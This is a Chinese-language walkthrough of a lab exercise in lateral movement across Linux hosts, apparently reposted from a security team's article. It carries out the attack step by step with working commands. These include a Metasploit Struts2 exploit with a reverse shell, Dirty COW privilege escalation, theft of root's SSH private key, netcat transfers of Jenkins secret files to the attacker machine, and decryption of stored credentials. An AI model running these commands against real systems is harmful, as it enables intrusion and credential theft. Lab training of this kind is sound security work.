前言
在Linux中橫向移動手法相對Windows來說較少,相對來說我們只有利用SSH、web上的漏洞等較少方式去獲得權限 在SSH協議中,連接到主機可采用兩種登錄方式:密碼登錄方式、密鑰登錄方式 密碼登錄方式,相信大家都明白它的工作原理,這里就不再贅述。對此我們可以來嘗試爆破密碼的方式來嘗試登錄到遠程系統權限 密鑰登錄方式的原理是:利用密鑰生成器制作一對密鑰,其中一只公鑰,一只私鑰。將公鑰添加到服務器的某個賬戶上,然后在客戶端利用私鑰即可完成認證并登錄。這樣一來,沒有私鑰,任何人都無法通過SSH暴力破解用戶的密碼來遠程登錄系統。那這里我們可以通過獲取該目標服務器的SSH私鑰信息即可獲得該服務器的遠程登錄權限 一般ssh密鑰文件都存放在~/.ssh/目錄下,也可以在文件中搜索已保存的SSH憑證。
敏感文件 ~/.ssh/config #配置 ssh 連接相關參數的配置文件 ~/.ssh/known_hosts # 該服務器所有登錄過的服務器的信息 ~/.bash_history # 我們通過歷史命令可以看到該服務器中有沒有使用ssh私鑰去遠程連接服務器 搜索含有SSH憑證文件 grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
在這里,我用一個純Linux的內網靶機環(huán)境來做演示,首先我們來看一下當前內網環(huán)境的拓撲圖。
通過拓撲圖我們可以看到在當前內網環(huán)境中,一共有3臺機器,一臺是web服務器,同時也連接著互聯網,另外兩臺分別為數據庫服務器與Jenkins服務器,他們的網絡環(huán)境中是做了限制的,web服務器對外開放,可直接訪問。jenkins服務器的web應用只允許當前內網環(huán)境的主機訪問,數據庫服務器不出網,用于實現站庫分離設計模式。網絡劃分配置如下:點擊編輯 ->虛擬網絡編輯器-> 更改設置,之后選擇需要設置NAT類型的界面,修改子網IP為172.16.250.0 ,并點擊應用。
場景演示
首先我們先對入口點IP地址做一個端口掃描。
這里我們訪問它的80端口,發(fā)現是該系統的CMS為OpenCms 10.5,通過漏洞庫得知該系統存在 struts2 命令執(zhí)行漏洞。
訪問一下struts2-showcase路徑,看是否成功。
由此確定使用struts2并且是struts2 showcase,msf上可以利用這個漏洞。直接在msf中 search struts2,這里直接選擇第一個利用即可。
設置攻擊IP地址與反彈shell方式。
set rhost 172.16.250.10 set rport 80 set payload linux/x64/meterpreter/reverse_tcp set lhot 172.160.250.128 set lport 4444
可以看到shell被成功反彈過來。
可以看到當前shell被反彈過來,并且權限為tomcat權限,這里的權限對我們來說相對較低,于是選擇提權。首先上傳一個linux-exploit-suggester腳本用于定位當前系統適合怎樣的方式進行提權。由于這時候我們得到的shell不是tty類型的,改為tty使得shell更加穩(wěn)定,然后賦予當前文件一個執(zhí)行權限,將其執(zhí)行。
upload /root/Desktop/linux-exploit-suggester.sh /tmp/aa.sh shell python3 -c "import pty;pty.spawn('/bin/bash')" chmod u+x /tmp/aa.sh ./tmp/aa.sh
運行之后就可以看到適合當前系統的提權方式,這里我選擇使用臟牛來進行提權(在實戰(zhàn)中請謹慎使用臟牛提權,該提權方式容易造成業(yè)務宕機) 這里步驟和我們剛剛上傳提權定位腳本基本一致,首先將exp上傳到shell中,將exp進行編譯,將shell改為tty,直接執(zhí)行編譯后的exp。
upload /root/Desktop/dirtycow-mem.c /tmp/cow.c shell python3 -c "import pty;pty.spawn('/bin/bash')" gcc -Wall -o /tmp/dirtycow /tmp/cow.c -ldl -lpthread chmod u+x /tmp/dirtycow ./tmp/dirtycow
這里我們在拿到root權限之后,為了保持穩(wěn)定需要輸入下面兩條命令,不然web服務器會死機。
echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
經過長時間的信息收集后,發(fā)現配置文件/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties中有一條數據庫登錄的信息,判斷出當前數據庫服務器為172.16.250.50。
發(fā)現該站為站庫分離系統,這里查看root目錄下的.ssh目錄發(fā)現存在一個私鑰文件。
這里再去查看root用戶的歷史命令發(fā)現該用戶使用該密鑰連接了172.16.250.30,那這里我們可以將該服務器的私鑰文件下載到我們的攻擊機中,然后使用攻擊機去連接數據庫服務器,因為我們現在所在的是提權的root用戶bash,在msf中是tomcat的權限,我們無法直接下載root目錄下的ssh私鑰,所以我們需要先將私鑰復制到/tmp/目錄下,然后將它基于777的權限,在使用msf將其下載到我們的攻擊機中。
cp ~/.ssh/id_rsa /tmp/id_rsa chmod 777 /tmp/id_rsa exit download /tmp/id_rsa /root/is_rsa
這里給拖出來的私鑰一個0700的執(zhí)行權限,然后使用ssh去連接172.16.250.30。
chmod 0700 id_rsa ssh -i id_rsa root@172.16.250.30
這里成功拿到第二臺主機權限,權限為root,hostname為jenkins,這里對它進行一個信息收集發(fā)現該系統開放一個8080端口。
這里搭建一個socks代理訪問一下看看當前jenkins服務器中8080端口所開放的是一個什么站點。
use auxiliary/server/socks5 set srvhost 172.16.250.128 run
然后修改proxychains文件。
使用proxychains啟動firefox。
proxychains firefox
這里我們訪問Jenkins應用程序內的憑證管理器內部,看到db_backup用戶密碼已存儲,但不可見,我們需要弄清楚如何從Jenkins中獲取此憑據,以便我們可以繼續(xù)橫向移動。
這里我們選擇“Update”來更新密碼。
將password置空即可得到密碼。
2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=訪問/jenkins/script/console目錄,使用以下命令獲取明文。
println(hudson.util.Secret.fromString("{2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=}").getPlainText())發(fā)現失敗,這里直接獲取jenkis的加密密鑰文件,下載到本機使用jenkis進行解密,credentials.xml,master.key和hudson.util.Secret。
訪問發(fā)現該3個文件存在,使用nc將文件傳到我們的kali中。
nc -lvp 8888 > master.key nc -lvp 8888 > hudson.util.Secret nc -lvp 8888 > credentials.xml nc 172.16.250.128 8888 < /home/jenkins/secrets/hudson.util.Secret nc 172.16.250.128 8888 < /home/jenkins/secrets/master.key nc 172.16.250.128 8888 < /home/jenkins/credentials.xml
可以看到文件都被下載到了我們的攻擊機中,這里我們下載解密腳本,將密鑰文件放到腳本中進行解密。
git clone https://github.com/cheetz/jenkins-decrypt.git python3 decrypt.py master.key hudson.util.Secret credentials.xml
這里成功解密db_backup用戶的密碼,使用ssh進行連接。
)uDvra{4UL^;r?*h
proxychains ssh db_backup@172.16.250.50
可以看到成功登錄到172.16.250.50系統中,這里使用id查看到該用戶屬于在sudo組,所以可以使用sudo su命令進行提權,然后輸入db_backup用戶的密碼,即拿到了該系統root系統的權限。
sudo su
至此成功獲取到WEB服務器(172.16.250.10)的權限、內網主機172.16.250.30的權限、內網數據庫服務器172.16.250.50的權限。本文章主要介紹了Linux環(huán)境下的內網滲透手法,但想文章前言所述一樣,在Linux中的橫向手法很少,所以主要還是偏向于SSH和web方面的漏洞,在Linux的內網環(huán)境中,要做的還是要收集到更多有價值的信息,查看歷史命令等。從而在進行下一步滲透。
審核編輯:湯梓紅
-
Linux
+關注
關注
87文章
11296瀏覽量
209358 -
服務器
+關注
關注
12文章
9129瀏覽量
85344 -
WINDOWS
+關注
關注
3文章
3541瀏覽量
88633 -
CSK
+關注
關注
0文章
4瀏覽量
6309
原文標題:Linux橫向移動手法-CSK靶機
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發(fā)布評論請先 登錄
相關推薦
評論